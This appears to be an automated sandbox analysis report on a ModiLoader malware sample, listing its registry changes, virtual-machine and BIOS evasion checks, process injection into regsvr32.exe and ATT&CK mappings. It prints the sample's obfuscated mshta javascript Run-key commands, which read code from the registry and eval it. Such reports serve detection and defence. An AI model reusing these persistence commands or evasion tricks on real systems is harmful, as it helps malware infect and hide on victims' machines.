modiloader | 90afeeb2b19a027385e77f12a2c4b64dcf8ebb30e99683d1e3109d06cd6593a6

Modify Registry

Processes:

regsvr32.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:pKtU3uvj4=\"jCFvVqsId7\";Xp7=new%20ActiveXObject(\"WScript.Shell\");O1lLpFlz=\"a5\";E0ucW5=Xp7.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\84f51283c0\\\\d3c9d114\");MTZcgJH60=\"de73bZI\";eval(E0ucW5);BuIWMrM4S7=\"s0GfR7Arud\";"	regsvr32.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools regsvr32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools	regsvr32.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

regsvr32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	regsvr32.exe

Deletes itself 1 IoCs

Processes:

regsvr32.exe

pid process

404 regsvr32.exe

pid	process
404	regsvr32.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

Processes:

regsvr32.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:JdwJy45P=\"A\";hY33=new%20ActiveXObject(\"WScript.Shell\");JYx9qBq2oc=\"AW\";uNf4E=hY33.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\84f51283c0\\\\d3c9d114\");R6QsSSMRm5=\"wi2Bs7Xry\";eval(uNf4E);c8oiFiBn=\"3kYye\";"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:Yzq0woA=\"oi\";YE74=new%20ActiveXObject(\"WScript.Shell\");Vj8e0PArsh=\"oH0AakJY\";bya8J6=YE74.RegRead(\"HKCU\\\\software\\\\84f51283c0\\\\d3c9d114\");a8e0fTbkYX=\"U988DwD\";eval(bya8J6);Ujd6Fb7MNs=\"VHIHP\";"	regsvr32.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

regsvr32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	regsvr32.exe

Modifies Internet Explorer settings 1 TTPs 8 IoCs

adware spyware

Modify Registry

Processes:

regsvr32.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0"	regsvr32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	regsvr32.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0"	regsvr32.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Internet Explorer\International	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	regsvr32.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

5724f63d53962f7c239f831dbc439ff2_JaffaCakes118.exeregsvr32.exe

pid	process
1972	5724f63d53962f7c239f831dbc439ff2_JaffaCakes118.exe
1972	5724f63d53962f7c239f831dbc439ff2_JaffaCakes118.exe
404	regsvr32.exe
404	regsvr32.exe
404	regsvr32.exe
404	regsvr32.exe
404	regsvr32.exe
404	regsvr32.exe
404	regsvr32.exe
404	regsvr32.exe
404	regsvr32.exe
404	regsvr32.exe
404	regsvr32.exe
404	regsvr32.exe
404	regsvr32.exe
404	regsvr32.exe
404	regsvr32.exe
404	regsvr32.exe
404	regsvr32.exe
404	regsvr32.exe
404	regsvr32.exe
404	regsvr32.exe
404	regsvr32.exe
404	regsvr32.exe
404	regsvr32.exe
404	regsvr32.exe
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404	regsvr32.exe
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404	regsvr32.exe
404	regsvr32.exe
404	regsvr32.exe
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404	regsvr32.exe
404	regsvr32.exe
404	regsvr32.exe
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404	regsvr32.exe
404	regsvr32.exe
404	regsvr32.exe
404	regsvr32.exe
404	regsvr32.exe
404	regsvr32.exe
404	regsvr32.exe
404	regsvr32.exe
404	regsvr32.exe
404	regsvr32.exe

Suspicious behavior: MapViewOfSection 12 IoCs

Processes:

5724f63d53962f7c239f831dbc439ff2_JaffaCakes118.exeregsvr32.exeregsvr32.exe

pid	process
1972	5724f63d53962f7c239f831dbc439ff2_JaffaCakes118.exe
1972	5724f63d53962f7c239f831dbc439ff2_JaffaCakes118.exe
1972	5724f63d53962f7c239f831dbc439ff2_JaffaCakes118.exe
4744	regsvr32.exe
4744	regsvr32.exe
4744	regsvr32.exe
404	regsvr32.exe
404	regsvr32.exe
404	regsvr32.exe
404	regsvr32.exe
404	regsvr32.exe
404	regsvr32.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

5724f63d53962f7c239f831dbc439ff2_JaffaCakes118.exeregsvr32.exeregsvr32.exe

description	pid	process	target process
PID 1972 wrote to memory of 4744	1972	5724f63d53962f7c239f831dbc439ff2_JaffaCakes118.exe	regsvr32.exe
PID 1972 wrote to memory of 4744	1972	5724f63d53962f7c239f831dbc439ff2_JaffaCakes118.exe	regsvr32.exe
PID 1972 wrote to memory of 4744	1972	5724f63d53962f7c239f831dbc439ff2_JaffaCakes118.exe	regsvr32.exe
PID 4744 wrote to memory of 404	4744	regsvr32.exe	regsvr32.exe
PID 4744 wrote to memory of 404	4744	regsvr32.exe	regsvr32.exe
PID 4744 wrote to memory of 404	4744	regsvr32.exe	regsvr32.exe
PID 404 wrote to memory of 1752	404	regsvr32.exe	regsvr32.exe
PID 404 wrote to memory of 1752	404	regsvr32.exe	regsvr32.exe
PID 404 wrote to memory of 1752	404	regsvr32.exe	regsvr32.exe
PID 404 wrote to memory of 2136	404	regsvr32.exe	regsvr32.exe
PID 404 wrote to memory of 2136	404	regsvr32.exe	regsvr32.exe
PID 404 wrote to memory of 2136	404	regsvr32.exe	regsvr32.exe

C:\Users\Admin\AppData\Local\Temp\5724f63d53962f7c239f831dbc439ff2_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\5724f63d53962f7c239f831dbc439ff2_JaffaCakes118.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1972

C:\Windows\SysWOW64\regsvr32.exe
regsvr32.exe
2⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:4744

C:\Windows\SysWOW64\regsvr32.exe
regsvr32.exe
3⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:404

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\SysWOW64\regsvr32.exe"
4⤵
PID:1752

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\SysWOW64\regsvr32.exe"
4⤵
PID:2136

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Defense Evasion

Modify Registry

3

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

Software Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion